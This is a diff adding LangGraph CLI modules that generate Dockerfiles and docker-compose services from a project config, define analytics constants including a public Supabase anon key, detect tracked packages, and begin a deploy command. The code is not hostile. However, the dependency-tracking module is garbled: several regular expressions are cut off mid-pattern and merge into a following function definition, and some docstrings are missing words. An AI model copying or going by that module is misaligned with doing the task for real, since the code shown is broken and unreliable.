+                for faux_pkg, (_, destpath) in local_deps.faux_pkgs.items():
+                    if resolved.is_relative_to(faux_pkg):
+                        container_subpath = resolved.relative_to(faux_pkg)
+                        # Construct the final path, ensuring POSIX style
+                        module_str = f"{destpath}/{container_subpath.as_posix()}"
+                        break
+                else:
+                    raise ValueError(
+                        f"HTTP app module '{app_str}' not found in 'dependencies' list. "
+                        "Add its containing package to 'dependencies' list."
+                    )
+        # update the config
+        http_config["app"] = f"{module_str}:{attr_str}"
+
+
+def _build_python_install_commands(
+    config: Config, install_cmd: str
+) -> tuple[str, str, str]:
+    base_install = f"PYTHONDONTWRITEBYTECODE=1 {install_cmd} --no-cache-dir -c /api/constraints.txt"
+    local_reqs_pip_install = base_install
+    global_reqs_pip_install = base_install
+
+    if config.get("pip_config_file"):
+        local_reqs_pip_install = (
+            f"PIP_CONFIG_FILE=/pipconfig.txt {local_reqs_pip_install}"
+        )
+        global_reqs_pip_install = (
+            f"PIP_CONFIG_FILE=/pipconfig.txt {global_reqs_pip_install}"
+        )
+
+    pip_config_file_str = (
+        f"ADD {config['pip_config_file']} /pipconfig.txt"
+        if config.get("pip_config_file")
+        else ""
+    )
+    return local_reqs_pip_install, global_reqs_pip_install, pip_config_file_str
+
+
+def _build_runtime_env_vars(config: Config) -> list[str]:
+    env_vars = []
+
+    if (store_config := config.get("store")) is not None:
+        env_vars.append(f"ENV LANGGRAPH_STORE='{json.dumps(store_config)}'")
+
+    if (auth_config := config.get("auth")) is not None:
+        env_vars.append(f"ENV LANGGRAPH_AUTH='{json.dumps(auth_config)}'")
+
+    if (encryption_config := config.get("encryption")) is not None:
+        env_vars.append(f"ENV LANGGRAPH_ENCRYPTION='{json.dumps(encryption_config)}'")
+
+    if (http_config := config.get("http")) is not None:
+        env_vars.append(f"ENV LANGGRAPH_HTTP='{json.dumps(http_config)}'")
+
+    if (webhooks_config := config.get("webhooks")) is not None:
+        env_vars.append(f"ENV LANGGRAPH_WEBHOOKS='{json.dumps(webhooks_config)}'")
+
+    if (checkpointer_config := config.get("checkpointer")) is not None:
+        env_vars.append(
+            f"ENV LANGGRAPH_CHECKPOINTER='{json.dumps(checkpointer_config)}'"
+        )
+
+    if (ui := config.get("ui")) is not None:
+        env_vars.append(f"ENV LANGGRAPH_UI='{json.dumps(ui)}'")
+
+    if (ui_config := config.get("ui_config")) is not None:
+        env_vars.append(f"ENV LANGGRAPH_UI_CONFIG='{json.dumps(ui_config)}'")
+
+    env_vars.append(f"ENV LANGSERVE_GRAPHS='{json.dumps(config['graphs'])}'")
+    return env_vars
+
+
+def _get_node_pm_install_cmd(project_dir: pathlib.Path) -> str:
+    def test_file(file_name):
+        full_path = project_dir / file_name
+        try:
+            return full_path.is_file()
+        except OSError:
+            return False
+
+    # inspired by `package-manager-detector`
+    def get_pkg_manager_name():
+        try:
+            with open(project_dir / "package.json") as f:
+                pkg = json.load(f)
+
+                if (pkg_manager_name := pkg.get("packageManager")) and isinstance(
+                    pkg_manager_name, str
+                ):
+                    return pkg_manager_name.lstrip("^").split("@")[0]
+
+                if (
+                    dev_engine_name := (
+                        (pkg.get("devEngines") or {}).get("packageManager") or {}
+                    ).get("name")
+                ) and isinstance(dev_engine_name, str):
+                    return dev_engine_name
+
+                return None
+        except Exception:
+            return None
+
+    npm, yarn, pnpm, bun = [
+        test_file("package-lock.json"),
+        test_file("yarn.lock"),
+        test_file("pnpm-lock.yaml"),
+        test_file("bun.lockb"),
+    ]
+
+    if yarn:
+        install_cmd = "yarn install --frozen-lockfile"
+    elif pnpm:
+        install_cmd = "pnpm i --frozen-lockfile"
+    elif npm:
+        install_cmd = "npm ci"
+    elif bun:
+        install_cmd = "bun i"
+    else:
+        pkg_manager_name = get_pkg_manager_name()
+
+        if pkg_manager_name == "yarn":
+            install_cmd = "yarn install"
+        elif pkg_manager_name == "pnpm":
+            install_cmd = "pnpm i"
+        elif pkg_manager_name == "bun":
+            install_cmd = "bun i"
+        else:
+            install_cmd = "npm i"
+
+    return install_cmd
+
+
+semver_pattern = re.compile(r":(\d+(?:\.\d+)?(?:\.\d+)?)(?:-|$)")
+
+
+def _image_supports_uv(base_image: str) -> bool:
+    if base_image == "langchain/langgraph-trial":
+        return False
+    match = semver_pattern.search(base_image)
+    if not match:
+        # Default image (langchain/langgraph-api) supports it.
+        return True
+
+    version_str = match.group(1)
+    version = tuple(map(int, version_str.split(".")))
+    min_uv = (0, 2, 47)
+    return version >= min_uv
+
+
+def get_build_tools_to_uninstall(config: Config) -> tuple[str]:
+    keep_pkg_tools = config.get("keep_pkg_tools")
+    if not keep_pkg_tools:
+        return _BUILD_TOOLS
+    if keep_pkg_tools is True:
+        return ()
+    expected = _BUILD_TOOLS
+    if isinstance(keep_pkg_tools, list):
+        for tool in keep_pkg_tools:
+            if tool not in expected:
+                raise ValueError(
+                    f"Invalid build tool to uninstall: {tool}. Expected one of {expected}"
+                )
+        return tuple(sorted(set(_BUILD_TOOLS) - set(keep_pkg_tools)))
+    else:
+        raise ValueError(
+            f"Invalid value for keep_pkg_tools: {keep_pkg_tools}."
+            " Expected True or a list containing any of {expected}."
+        )
+
+
+def python_config_to_docker(
+    config_path: pathlib.Path,
+    config: Config,
+    base_image: str,
+    api_version: str | None = None,
+    *,
+    escape_variables: bool = False,
+) -> tuple[str, dict[str, str]]:
+    """Generate a Dockerfile from the configuration."""
+    source_kind = _get_source_kind(config)
+    pip_installer = config.get("pip_installer", "auto")
+    build_tools_to_uninstall = get_build_tools_to_uninstall(config)
+    if source_kind == "uv":
+        return python_config_to_docker_uv_lock(
+            config_path,
+            config,
+            base_image,
+            api_version=api_version,
+            build_tools_to_uninstall=build_tools_to_uninstall,
+        )
+    if pip_installer == "auto":
+        if _image_supports_uv(base_image):
+            pip_installer = "uv"
+        else:
+            pip_installer = "pip"
+    if pip_installer == "uv":
+        install_cmd = "uv pip install --system"
+    elif pip_installer == "pip":
+        install_cmd = "pip install"
+    else:
+        raise ValueError(f"Invalid pip_installer: {pip_installer}")
+
+    (
+        local_reqs_pip_install,
+        global_reqs_pip_install,
+        pip_config_file_str,
+    ) = _build_python_install_commands(config, install_cmd)
+
+    # collect dependencies
+    pypi_deps = [dep for dep in config["dependencies"] if not dep.startswith(".")]
+    local_deps = _assemble_local_deps(config_path, config)
+    # Rewrite graph paths, so they point to the correct location in the Docker container
+    _update_graph_paths(config_path, config, local_deps)
+    # Rewrite auth path, so it points to the correct location in the Docker container
+    _update_auth_path(config_path, config, local_deps)
+    # Rewrite encryption path, so it points to the correct location in the Docker container
+    _update_encryption_path(config_path, config, local_deps)
+    # Rewrite checkpointer path, so it points to the correct location in the Docker container
+    _update_checkpointer_path(config_path, config, local_deps)
+    # Rewrite HTTP app path, so it points to the correct location in the Docker container
+    _update_http_app_path(config_path, config, local_deps)
+
+    pip_pkgs_str = (
+        f"RUN {local_reqs_pip_install} {' '.join(pypi_deps)}" if pypi_deps else ""
+    )
+    if local_deps.pip_reqs:
+        pip_reqs_str = os.linesep.join(
+            (
+                f"COPY --from=outer-{reqpath.name} requirements.txt {destpath}"
+                if reqpath.parent in local_deps.additional_contexts
+                else f"ADD {reqpath.relative_to(config_path.parent)} {destpath}"
+            )
+            for reqpath, destpath in local_deps.pip_reqs
+        )
+        pip_reqs_str += f"{os.linesep}RUN {local_reqs_pip_install} {' '.join('-r ' + r for _, r in local_deps.pip_reqs)}"
+        pip_reqs_str = f"""# -- Installing local requirements --
+{pip_reqs_str}
+# -- End of local requirements install --"""
+
+    else:
+        pip_reqs_str = ""
+
+    # https://setuptools.pypa.io/en/latest/userguide/datafiles.html#package-data
+    # https://til.simonwillison.net/python/pyproject
+    faux_pkgs_str = f"{os.linesep}{os.linesep}".join(
+        (
+            f"""# -- Adding non-package dependency {fullpath.name} --
+COPY --from=outer-{fullpath.name} . {destpath}"""
+            if fullpath in local_deps.additional_contexts
+            else f"""# -- Adding non-package dependency {fullpath.name} --
+ADD {relpath} {destpath}"""
+        )
+        + f"""
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "{fullpath.name}"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> {shlex.quote(f"/deps/outer-{fullpath.name}/pyproject.toml")}; \\
+    done
+# -- End of non-package dependency {fullpath.name} --"""
+        for fullpath, (relpath, destpath) in local_deps.faux_pkgs.items()
+    )
+
+    local_pkgs_str = os.linesep.join(
+        (
+            f"""# -- Adding local package {relpath} --
+COPY --from={name} . /deps/{name}
+# -- End of local package {relpath} --"""
+            if fullpath in local_deps.additional_contexts
+            else f"""# -- Adding local package {relpath} --
+ADD {relpath} /deps/{name}
+# -- End of local package {relpath} --"""
+        )
+        for fullpath, (relpath, name) in local_deps.real_pkgs.items()
+    )
+
+    additional_contexts: dict[str, str] = {}
+    additional_context_names: dict[pathlib.Path, str] = {}
+    used_context_names: set[str] = set()
+
+    def register_additional_context(path: pathlib.Path, preferred_name: str) -> str:
+        if path in additional_context_names:
+            return additional_context_names[path]
+
+        name = preferred_name
+        suffix = 1
+        while name in used_context_names:
+            name = f"{preferred_name}_{suffix}"
+            suffix += 1
+
+        used_context_names.add(name)
+        additional_context_names[path] = name
+        additional_contexts[name] = str(path)
+        return name
+
+    for p in local_deps.additional_contexts:
+        if p in local_deps.real_pkgs:
+            preferred_name = local_deps.real_pkgs[p][1]
+        elif p in local_deps.faux_pkgs:
+            preferred_name = f"outer-{p.name}"
+        else:
+            raise RuntimeError(f"Unknown additional context: {p}")
+        register_additional_context(p, preferred_name)
+
+    install_node_str: str = (
+        "RUN /storage/install-node.sh"
+        if (config.get("ui") or config.get("node_version")) and local_deps.working_dir
+        else ""
+    )
+
+    install_steps = [install_node_str, pip_config_file_str, pip_pkgs_str, pip_reqs_str]
+    install_steps.extend([local_pkgs_str, faux_pkgs_str])
+    installs = f"{os.linesep}{os.linesep}".join(
+        filter(
+            None,
+            install_steps,
+        )
+    )
+
+    env_vars = _build_runtime_env_vars(config)
+
+    js_inst_str: str = ""
+    if (config.get("ui") or config.get("node_version")) and local_deps.working_dir:
+        js_inst_str = os.linesep.join(
+            [
+                "# -- Installing JS dependencies --",
+                f"ENV NODE_VERSION={config.get('node_version') or DEFAULT_NODE_VERSION}",
+                f"WORKDIR {local_deps.working_dir}",
+                f"RUN {_get_node_pm_install_cmd(config_path.parent)} && tsx /api/langgraph_api/js/build.mts",
+                "# -- End of JS dependencies install --",
+            ]
+        )
+    image_str = docker_tag(config, base_image, api_version)
+
+    # Prepare docker file contents
+    docker_file_contents = []
+
+    # Add syntax directive if we have additional contexts (requires BuildKit frontend.contexts capability)
+    if additional_contexts:
+        docker_file_contents.extend(
+            [
+                "# syntax=docker/dockerfile:1.4",
+                "",
+            ]
+        )
+
+    # Add main dockerfile content
+    dep_vname = "$$dep" if escape_variables else "$dep"
+    local_deps_install_str = f"""RUN for dep in /deps/*; do \
+            echo "Installing {dep_vname}"; \
+            if [ -d "{dep_vname}" ]; then \
+                echo "Installing {dep_vname}"; \
+                (cd "{dep_vname}" && {global_reqs_pip_install} -e .); \
+            fi; \
+        done"""
+    docker_file_contents.extend(
+        [
+            f"FROM {image_str}",
+            "",
+            os.linesep.join(config["dockerfile_lines"]),
+            "",
+            installs,
+            "",
+            "# -- Installing all local dependencies --",
+            local_deps_install_str,
+            "# -- End of local dependencies install --",
+            os.linesep.join(env_vars),
+            "",
+            js_inst_str,
+            "",
+            # Add pip cleanup after all installations are complete
+            _get_pip_cleanup_lines(
+                install_cmd=install_cmd,
+                to_uninstall=build_tools_to_uninstall,
+                pip_installer=pip_installer,
+            ),
+            "",
+            f"WORKDIR {local_deps.working_dir}" if local_deps.working_dir else "",
+        ]
+    )
+
+    return os.linesep.join(docker_file_contents), additional_contexts
+
+
+def node_config_to_docker(
+    config_path: pathlib.Path,
+    config: Config,
+    base_image: str,
+    api_version: str | None = None,
+    install_command: str | None = None,
+    build_command: str | None = None,
+    build_context: str | None = None,
+) -> tuple[str, dict[str, str]]:
+    # Calculate paths for monorepo support
+    install_root = (
+        pathlib.Path(build_context).resolve() if build_context else config_path.parent
+    )
+    install_cmd = install_command or _get_node_pm_install_cmd(install_root)
+    if build_context:
+        relative_workdir = _calculate_relative_workdir(config_path, build_context)
+        container_name = pathlib.Path(build_context).name
+        if relative_workdir:
+            faux_path = f"/deps/{container_name}/{relative_workdir}"
+        else:
+            faux_path = f"/deps/{container_name}"
+    else:
+        # Backward compatibility: use the original behavior
+        faux_path = f"/deps/{config_path.parent.name}"
+
+    image_str = docker_tag(config, base_image, api_version)
+
+    env_vars = _build_runtime_env_vars(config)
+
+    # For monorepo support, we need to handle install and build commands differently
+    if build_context:
+        # Monorepo case: install from root, build from config directory
+        container_root = f"/deps/{pathlib.Path(build_context).name}"
+        install_workdir = container_root
+        install_step = f"RUN {install_cmd}"
+
+        if build_command:
+            build_step = f"RUN {build_command}"
+        else:
+            build_step = 'RUN (test ! -f /api/langgraph_api/js/build.mts && echo "Prebuild script not found, skipping") || tsx /api/langgraph_api/js/build.mts'
+    else:
+        # Original behavior: everything happens in the same directory
+        install_workdir = faux_path
+        install_step = f"RUN {install_cmd}"
+        build_step = 'RUN (test ! -f /api/langgraph_api/js/build.mts && echo "Prebuild script not found, skipping") || tsx /api/langgraph_api/js/build.mts'
+
+    if build_context:
+        build_workdir = faux_path
+    else:
+        build_workdir = faux_path
+
+    docker_file_contents = [
+        f"FROM {image_str}",
+        "",
+        os.linesep.join(config["dockerfile_lines"]),
+        "",
+        f"ADD . {faux_path if not build_context else container_root}",
+        "",
+        f"WORKDIR {install_workdir}",
+        "",
+        install_step,
+        "",
+        os.linesep.join(env_vars),
+        "",
+        f"WORKDIR {build_workdir}",
+        "",
+        build_step,
+    ]
+
+    return os.linesep.join(docker_file_contents), {}
+
+
+def default_base_image(
+    config: Config, engine_runtime_mode: str = "combined_queue_worker"
+) -> str:
+    if config.get("base_image"):
+        return config["base_image"]
+    if config.get("node_version") and not config.get("python_version"):
+        return "langchain/langgraphjs-api"
+    if engine_runtime_mode == "distributed":
+        return "langchain/langgraph-executor"
+    return "langchain/langgraph-api"
+
+
+def docker_tag(
+    config: Config,
+    base_image: str | None = None,
+    api_version: str | None = None,
+) -> str:
+    api_version = api_version or config.get("api_version")
+    base_image = base_image or default_base_image(config)
+
+    image_distro = config.get("image_distro")
+    distro_tag = "" if image_distro == DEFAULT_IMAGE_DISTRO else f"-{image_distro}"
+
+    if config.get("_INTERNAL_docker_tag"):
+        return f"{base_image}:{config['_INTERNAL_docker_tag']}"
+
+    # Build the standard tag format
+    language, version = None, None
+    if config.get("node_version") and not config.get("python_version"):
+        language, version = "node", config["node_version"]
+    else:
+        language, version = "py", config["python_version"]
+
+    version_distro_tag = f"{version}{distro_tag}"
+
+    # Prepend API version if provided
+    if api_version:
+        api_version = _resolve_compatible_api_version(
+            api_version, base_image, f"{language}{version_distro_tag}"
+        )
+        full_tag = f"{api_version}-{language}{version_distro_tag}"
+    elif "/langgraph-server" in base_image and version_distro_tag not in base_image:
+        return f"{base_image}-{language}{version_distro_tag}"
+    else:
+        full_tag = version_distro_tag
+
+    return f"{base_image}:{full_tag}"
+
+
+def _calculate_relative_workdir(config_path: pathlib.Path, build_context: str) -> str:
+    """Calculate the relative path from build context to langgraph.json directory."""
+    config_dir = config_path.parent.resolve()
+    build_context_path = pathlib.Path(build_context).resolve()
+
+    try:
+        relative_path = config_dir.relative_to(build_context_path)
+        return str(relative_path) if str(relative_path) != "." else ""
+    except ValueError as _:
+        raise ValueError(
+            f"Configuration file {config_path} is not under the build context {build_context}. "
+            f"Please run the command from a directory that contains your langgraph.json file, "
+        ) from None
+
+
+def config_to_docker(
+    config_path: pathlib.Path,
+    config: Config,
+    *,
+    base_image: str | None = None,
+    api_version: str | None = None,
+    install_command: str | None = None,
+    build_command: str | None = None,
+    build_context: str | None = None,
+    escape_variables: bool = False,
+) -> tuple[str, dict[str, str]]:
+    base_image = base_image or default_base_image(config)
+
+    if config.get("node_version") and not config.get("python_version"):
+        return node_config_to_docker(
+            config_path=config_path,
+            config=config,
+            base_image=base_image,
+            api_version=api_version,
+            install_command=install_command,
+            build_command=build_command,
+            build_context=build_context,
+        )
+
+    return python_config_to_docker(
+        config_path=config_path,
+        config=config,
+        base_image=base_image,
+        api_version=api_version,
+        escape_variables=escape_variables,
+    )
+
+
+def config_to_compose(
+    config_path: pathlib.Path,
+    config: Config,
+    base_image: str | None = None,
+    api_version: str | None = None,
+    image: str | None = None,
+    watch: bool = False,
+    engine_runtime_mode: str = "combined_queue_worker",
+) -> str:
+    base_image = base_image or default_base_image(config)
+
+    env_vars = config["env"].items() if isinstance(config["env"], dict) else {}
+    env_vars_str = "\n".join(f'            {k}: "{v}"' for k, v in env_vars)
+    env_file_str = (
+        f"env_file: {config['env']}" if isinstance(config["env"], str) else ""
+    )
+    if watch:
+        dependencies = config.get("dependencies") or ["."]
+        watch_paths = [config_path.name] + [
+            dep for dep in dependencies if dep.startswith(".")
+        ]
+        watch_actions = "\n".join(
+            f"""- path: {path}
+  action: rebuild"""
+            for path in watch_paths
+        )
+        watch_str = f"""
+        develop:
+            watch:
+{textwrap.indent(watch_actions, "                ")}
+"""
+    else:
+        watch_str = ""
+    if image:
+        return f"""
+{textwrap.indent(env_vars_str, "            ")}
+        {env_file_str}
+        {watch_str}
+"""
+
+    else:
+        # Save a pristine copy before config_to_docker mutates graph paths
+        config_snapshot = (
+            copy.deepcopy(config) if engine_runtime_mode == "distributed" else None
+        )
+
+        dockerfile, additional_contexts = config_to_docker(
+            config_path=config_path,
+            config=config,
+            base_image=base_image,
+            api_version=api_version,
+            escape_variables=True,
+        )
+
+        additional_contexts_str = "\n".join(
+            f"                - {name}: {path}"
+            for name, path in additional_contexts.items()
+        )
+        if additional_contexts_str:
+            additional_contexts_str = f"""
+            additional_contexts:
+{additional_contexts_str}"""
+
+        result = f"""
+{textwrap.indent(env_vars_str, "            ")}
+        {env_file_str}
+        pull_policy: build
+        build:
+            context: .{additional_contexts_str}
+            dockerfile_inline: |
+{textwrap.indent(dockerfile, "                ")}
+        {watch_str}
+"""
+
+        if engine_runtime_mode == "distributed":
+            executor_base_image = default_base_image(
+                config_snapshot, engine_runtime_mode="distributed"
+            )
+            executor_dockerfile, executor_additional_contexts = config_to_docker(
+                config_path=config_path,
+                config=config_snapshot,
+                base_image=executor_base_image,
+                api_version=api_version,
+                escape_variables=True,
+            )
+
+            executor_additional_contexts_str = "\n".join(
+                f"                    - {name}: {path}"
+                for name, path in executor_additional_contexts.items()
+            )
+            if executor_additional_contexts_str:
+                executor_additional_contexts_str = f"""
+                additional_contexts:
+{executor_additional_contexts_str}"""
+
+            postgres_uri = "postgres://postgres:postgres@langgraph-postgres:5432/postgres?sslmode=disable"
+            result += f"""    langgraph-orchestrator:
+        image: langchain/langgraph-orchestrator-licensed:latest
+        depends_on:
+            langgraph-api:
+                condition: service_healthy
+            langgraph-postgres:
+                condition: service_healthy
+        environment:
+            DATABASE_URI: {postgres_uri}
+            EXECUTOR_TARGET: langgraph-executor:8188
+        {env_file_str}
+    langgraph-executor:
+        depends_on:
+            langgraph-postgres:
+                condition: service_healthy
+            langgraph-api:
+                condition: service_healthy
+        entrypoint: ["sh", "/storage/executor_entrypoint.sh"]
+        environment:
+            DATABASE_URI: {postgres_uri}
+            REDIS_URI: redis://langgraph-redis:6379
+            EXECUTOR_GRPC_PORT: "8188"
+            ENGINE_GRPC_ADDRESS: "langgraph-orchestrator:50054"
+            LSD_GRPC_SERVER_ADDRESS: "localhost:50050"
+            LANGGRAPH_HTTP: ""
+        {env_file_str}
+        pull_policy: build
+        build:
+            context: .{executor_additional_contexts_str}
+            dockerfile_inline: |
+{textwrap.indent(executor_dockerfile, "                ")}
+"""
+
+        return result
diff --git a/libs/cli/langgraph_cli/constants.py b/libs/cli/langgraph_cli/constants.py
new file mode 100644
index 0000000..117062a
--- /dev/null
+++ b/libs/cli/langgraph_cli/constants.py
@@ -0,0 +1,6 @@
+DEFAULT_CONFIG = "langgraph.json"
+DEFAULT_PORT = 8123
+
+# analytics
+SUPABASE_PUBLIC_API_KEY = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6Imt6cmxwcG9qaW5wY3l5YWlweG5iIiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTkyNTc1NzksImV4cCI6MjAzNDgzMzU3OX0.kkVOlLz3BxemA5nP-vat3K4qRtrDuO4SwZSR_htcX9c"
+SUPABASE_URL = "https://kzrlppojinpcyyaipxnb.supabase.co"
diff --git a/libs/cli/langgraph_cli/dependency_tracking.py b/libs/cli/langgraph_cli/dependency_tracking.py
new file mode 100644
index 0000000..b3ec9eb
--- /dev/null
+++ b/libs/cli/langgraph_cli/dependency_tracking.py
@@ -0,0 +1,141 @@
+"""Detection of tracked Python packages in a local LangGraph project.
+
+Mirrors host-backend's `host.models.dependency_tracking` so that CLI-based
+deploys report the same `tracked_packages` revision metadata that
+GitHub-based deploys do. The host backend strictly validates each entry
+against `:` with package-name in `TRACKED_PACKAGES`,
+so the detection rules here must match exactly.
+"""
+
+from __future__ import annotations
+
+import pathlib
+import re
+
+# Single source of truth for which packages the host backend cares about.
+# Keep in sync with host-backend/host/models/tracked_packages.py.
+TRACKED_PACKAGES: tuple[str, ...] = ("google-adk",)
+
+_MAX_READ_BYTES = 5 * 1024 * 1024
+
+_PACKAGES_ALT = "|".join(re.escape(p) for p in TRACKED_PACKAGES)
+
+_DEPS_RE = re.compile(
+    rf"(?=|<=|~=|!=|>|<)\s*[\w.*]+\s*,?\s*)+)"
+)
+
+_UV_LOCK_RE = re.compile(
+    rf'name\s*=\s*"({_PACKAGES_ALT})"\s*\n\s*version\s*=\s*"([^"]+)"'
+)
+
+_BARE_RE = re.compile(rf'(? bool:
+    for m in _EXTRAS_BRACKET_RE.finditer(content):
+        for token in m.group(1).split(","):
+            if token.strip() == pkg:
+                return True
+    return False
+
+
+def _read_text(path: pathlib.Path) -> str | None:
+    try:
+        if not path.is_file():
+            return None
+        with open(path, "rb") as f:
+            data = f.read(_MAX_READ_BYTES + 1)
+    except OSError:
+        return None
+    if len(data) > _MAX_READ_BYTES:
+        data = data[:_MAX_READ_BYTES]
+    return data.decode("utf-8", errors="replace")
+
+
+def _find_version_for(
+    pkg: str,
+    lock_content: str | None,
+    pyproject_content: str | None,
+    requirements_content: str | None,
+) -> str | None:
+    if lock_content is not None:
+        for m in _UV_LOCK_RE.finditer(lock_content):
+            if m.group(1) == pkg:
+                return m.group(2)
+    for content in (pyproject_content, requirements_content):
+        if content is None:
+            continue
+        for m in _DEPS_RE.finditer(content):
+            if m.group(1) == pkg:
+                return m.group(2).strip().rstrip(",")
+        for m in _BARE_RE.finditer(content):
+            if m.group(1) == pkg:
+                return "unknown"
+        if _appears_in_extras(content, pkg):
+            return "unknown"
+    return None
+
+
+def _resolved_dep_base(
+    project_root: pathlib.Path, dep_path: str
+) -> pathlib.Path | None:
+    """Return the resolved dep directory if it stays inside the project root."""
+    try:
+        candidate = (project_root / dep_path).resolve()
+    except (OSError, RuntimeError):
+        return None
+    try:
+        candidate.relative_to(project_root)
+    except ValueError:
+        return None
+    return candidate
+
+
+def find_tracked_packages(
+    config: pathlib.Path,
+    config_json: dict,
+) -> list[str]:
+    """Return every tracked package found in deps as `:` entries.
+
+    `config` is the absolute path to `langgraph.json`; dep paths in
+    `config_json["dependencies"]` are resolved relative to its parent.
+    Detection precedence per package: uv.lock resolved > pyproject.toml /
+    requirements.txt specifier > bare reference > extras bracket (last
+    two recorded as "unknown"). Output is ordered by `TRACKED_PACKAGES`.
+    """
+    try:
+        project_root = config.parent.resolve()
+    except (OSError, RuntimeError):
+        return []
+
+    dep_paths = config_json.get("dependencies") or ["."]
+
+    found: dict[str, str] = {}
+
+    for dep_path in dep_paths:
+        if all(pkg in found for pkg in TRACKED_PACKAGES):
+            break
+        if not isinstance(dep_path, str):
+            continue
+        base = _resolved_dep_base(project_root, dep_path)
+        if base is None or not base.is_dir():
+            continue
+
+        lock_content = _read_text(base / "uv.lock")
+        pyproject_content = _read_text(base / "pyproject.toml")
+        requirements_content = _read_text(base / "requirements.txt")
+
+        for pkg in TRACKED_PACKAGES:
+            if pkg in found:
+                continue
+            version = _find_version_for(
+                pkg, lock_content, pyproject_content, requirements_content
+            )
+            if version is not None:
+                found[pkg] = version
+
+    return [f"{pkg}:{found[pkg]}" for pkg in TRACKED_PACKAGES if pkg in found]
diff --git a/libs/cli/langgraph_cli/deploy.py b/libs/cli/langgraph_cli/deploy.py
new file mode 100644
index 0000000..822028c
--- /dev/null
+++ b/libs/cli/langgraph_cli/deploy.py
@@ -0,0 +1,2076 @@
+"""Deploy command and subcommands for the LangGraph CLI."""
+
+import base64
+import json as json_mod
+import os
+import pathlib
+import platform
+import re
+import tempfile
+import time
+from collections.abc import Callable, Sequence
+from contextlib import contextmanager
+from dataclasses import dataclass, field
+from datetime import datetime, timezone
+
+import click
+import click.exceptions
+from dotenv import dotenv_values, set_key
+
+import langgraph_cli.config
+from langgraph_cli.analytics import log_command
+from langgraph_cli.constants import DEFAULT_CONFIG
+from langgraph_cli.dependency_tracking import find_tracked_packages
+from langgraph_cli.docker import build_docker_image, can_build_locally
+from langgraph_cli.exec import Runner, subp_exec
+from langgraph_cli.host_backend import HostBackendClient, HostBackendError
+from langgraph_cli.progress import Progress
+from langgraph_cli.util import warn_non_wolfi_distro
+
+# ---------------------------------------------------------------------------
+# Constants
+# ---------------------------------------------------------------------------
+
+RESERVED_ENV_VARS = frozenset(
+    [
+        # LANGCHAIN_RESERVED_ENV_VARS from host-backend
+        "LANGCHAIN_TRACING_V2",
+        "LANGSMITH_TRACING_V2",
+        "LANGCHAIN_ENDPOINT",
+        "LANGCHAIN_PROJECT",
+        "LANGSMITH_PROJECT",
+        "LANGSMITH_LANGGRAPH_GIT_REPO",
+        "LANGGRAPH_GIT_REPO_PATH",
+        "LANGCHAIN_API_KEY",
+        "LANGSMITH_CONTROL_PLANE_API_KEY",
+        "POSTGRES_URI",
+        "POSTGRES_PASSWORD",
+        "DATABASE_URI",
+        "LANGSMITH_LANGGRAPH_GIT_REF",
+        "LANGSMITH_LANGGRAPH_GIT_REF_SHA",
+        "LANGGRAPH_AUTH_TYPE",
+        "LANGSMITH_AUTH_ENDPOINT",
+        "LANGSMITH_TENANT_ID",
+        "LANGSMITH_AUTH_VERIFY_TENANT_ID",
+        "LANGSMITH_HOST_PROJECT_ID",
+        "LANGSMITH_HOST_PROJECT_NAME",
+        "LANGSMITH_HOST_REVISION_ID",
+        "LOG_JSON",
+        "LOG_DICT_TRACEBACKS",
+        "REDIS_URI",
+        "LANGCHAIN_CALLBACKS_BACKGROUND",
+        "DD_TRACE_PSYCOPG_ENABLED",
+        "DD_TRACE_REDIS_ENABLED",
+        "LANGSMITH_DEPLOYMENT_NAME",
+        "LANGGRAPH_CLOUD_LICENSE_KEY",
+        # ALLOWED_SELF_HOSTED_ENV_VARS (rejected for non-self-hosted)
+        "LANGSMITH_API_KEY",
+        "LANGSMITH_ENDPOINT",
+        "POSTGRES_URI_CUSTOM",
+        "REDIS_URI_CUSTOM",
+        "PATH",
+        "PORT",
+        "MOUNT_PREFIX",
+        "LSD_ENV",
+        "LSD_DD_API_KEY",
+        "LSD_DD_ENDPOINT",
+        "LSD_DEPLOYMENT_TYPE",
+    ]
+)
+
+_API_KEY_ENV_NAMES = (
+    "LANGGRAPH_HOST_API_KEY",
+    "LANGSMITH_API_KEY",
+    "LANGCHAIN_API_KEY",
+)
+
+_DEPLOYMENT_NAME_ENV = "LANGSMITH_DEPLOYMENT_NAME"
+
+_TERMINAL_STATUSES = frozenset(
+    [
+        "DEPLOYED",
+        "CREATE_FAILED",
+        "BUILD_FAILED",
+        "DEPLOY_FAILED",
+        "SKIPPED",
+    ]
+)
+
+# ---------------------------------------------------------------------------
+# Data structures
+# ---------------------------------------------------------------------------
+
+
+@dataclass
+class BuildResult:
+    """Captures the outcome of a build stage so the shared wait tail can be
+    parameterized identically for both local and remote builds."""
+
+    updated: dict = field(default_factory=dict)
+    progress_message: str = ""
+    timeout_seconds: int = 300
+    poll_interval_seconds: int = 1
+    no_result_message: str = "Deployment updated"
+    on_poll: Callable[[str, str, Callable[[str], None]], None] | None = None
+    on_interrupt: Callable[[str], None] | None = None
+    show_build_logs_on_failure: bool = False
+
+
+# ---------------------------------------------------------------------------
+# Structured output emitter
+# ---------------------------------------------------------------------------
+
+_emitter: "_Emitter | None" = None
+_no_input: bool = False
+
+
+class _Emitter:
+    """Dual-mode output: JSON-lines (``--json``) or human-readable click text."""
+
+    def __init__(self, json_mode: bool) -> None:
+        self._json = json_mode
+
+    @property
+    def json_mode(self) -> bool:
+        return self._json
+
+    # -- Structured event helpers ------------------------------------------
+
+    def step(self, step: int, message: str, **extra: object) -> None:
+        if self._json:
+            self._write({"event": "step", "step": step, "message": message, **extra})
+        else:
+            click.secho(f"{step}. {message}", fg="cyan")
+
+    def info(self, message: str, **extra: object) -> None:
+        if self._json:
+            self._write({"event": "info", "message": message, **extra})
+        else:
+            click.secho(f"   {message}", fg="green")
+
+    def warn(self, message: str, **extra: object) -> None:
+        """Warning nested under a step. Text mode indents; JSON mode strips leading whitespace."""
+        if self._json:
+            self._write({"event": "warn", "message": message.lstrip(), **extra})
+        else:
+            click.secho(f"   {message}", fg="yellow")
+
+    def note(self, message: str, **extra: object) -> None:
+        """Top-level banner (pre-step). Text mode does not indent."""
+        if self._json:
